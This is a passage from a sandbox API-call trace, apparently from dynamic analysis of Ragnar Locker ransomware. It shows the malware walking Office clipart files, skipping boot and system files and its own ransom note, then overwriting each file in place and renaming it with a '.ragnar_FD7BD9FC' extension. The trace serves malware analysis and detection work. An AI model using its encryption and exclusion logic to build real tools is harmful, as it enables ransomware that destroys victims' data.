lpString2="boot.ini") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="bootfont.bin") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="bootsect.bak") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="bootmgr") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="bootmgr.efi") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="desktop.ini") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="iconcache.db") returned -1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="ntldr") returned -1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="ntuser.dat") returned -1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="ntuser.ini") returned -1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="thumbs.db") returned -1 [0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0082.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.661] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4970) returned 1 [0082.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1361, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.661] GetProcessHeap () returned 0x580000 [0082.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.661] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.663] VirtualAlloc (lpAddress=0x0, dwSize=0x136a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.663] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x136a, lpOverlapped=0x0) returned 1 [0082.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.664] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x136a, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.664] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x136a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x136a, lpOverlapped=0x0) returned 1 [0082.664] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x136a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.664] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x136a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.664] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.664] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.665] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.665] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.665] GetProcessHeap () returned 0x580000 [0082.665] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.665] CloseHandle (hObject=0xf4) returned 1 [0082.665] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" [0082.665] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.ragnar_FD7BD9FC" [0082.665] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.665] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0082.666] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.666] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH02313_.WMF" | out: lpString1="HH02313_.WMF") returned="HH02313_.WMF" [0082.666] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned=".WMF" [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="autorun.inf") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="boot.ini") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="bootfont.bin") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="bootsect.bak") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="bootmgr") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="bootmgr.efi") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="desktop.ini") returned 1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="iconcache.db") returned -1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="ntldr") returned -1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="ntuser.dat") returned -1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="ntuser.ini") returned -1 [0082.666] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="thumbs.db") returned -1 [0082.666] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.666] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.666] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.666] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.666] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.666] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.666] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0082.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.667] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3082) returned 1 [0082.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.667] GetProcessHeap () returned 0x580000 [0082.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.667] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.668] VirtualAlloc (lpAddress=0x0, dwSize=0xc0a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.669] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc0a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc0a, lpOverlapped=0x0) returned 1 [0082.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.669] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc0a, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.669] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc0a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc0a, lpOverlapped=0x0) returned 1 [0082.669] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.669] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.669] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.669] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.669] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.669] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.670] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.670] GetProcessHeap () returned 0x580000 [0082.670] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.670] CloseHandle (hObject=0xf4) returned 1 [0082.670] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" [0082.670] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.ragnar_FD7BD9FC" [0082.670] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.670] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0082.670] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.670] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HM00005_.WMF" | out: lpString1="HM00005_.WMF") returned="HM00005_.WMF" [0082.670] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned=".WMF" [0082.670] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.670] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="autorun.inf") returned 1 [0082.670] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="boot.ini") returned 1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="bootfont.bin") returned 1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="bootsect.bak") returned 1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="bootmgr") returned 1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="bootmgr.efi") returned 1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="desktop.ini") returned 1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="iconcache.db") returned -1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="ntldr") returned -1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="ntuser.dat") returned -1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="ntuser.ini") returned -1 [0082.671] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="thumbs.db") returned -1 [0082.671] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.671] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.671] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.671] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.671] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.671] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.671] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0082.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.672] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23300) returned 1 [0082.672] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5afb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.672] GetProcessHeap () returned 0x580000 [0082.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.672] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.675] VirtualAlloc (lpAddress=0x0, dwSize=0x5b04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.676] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b04, lpOverlapped=0x0) returned 1 [0082.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b04, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.677] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b04, lpOverlapped=0x0) returned 1 [0082.677] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.677] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.678] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.678] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.678] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.678] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.678] GetProcessHeap () returned 0x580000 [0082.678] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.678] CloseHandle (hObject=0xf4) returned 1 [0082.678] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" [0082.678] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.ragnar_FD7BD9FC" [0082.678] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0082.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.682] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HM00114_.WMF" | out: lpString1="HM00114_.WMF") returned="HM00114_.WMF" [0082.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned=".WMF" [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="autorun.inf") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="boot.ini") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="bootfont.bin") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="bootsect.bak") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="bootmgr") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="bootmgr.efi") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="desktop.ini") returned 1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="iconcache.db") returned -1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="ntldr") returned -1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="ntuser.dat") returned -1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", 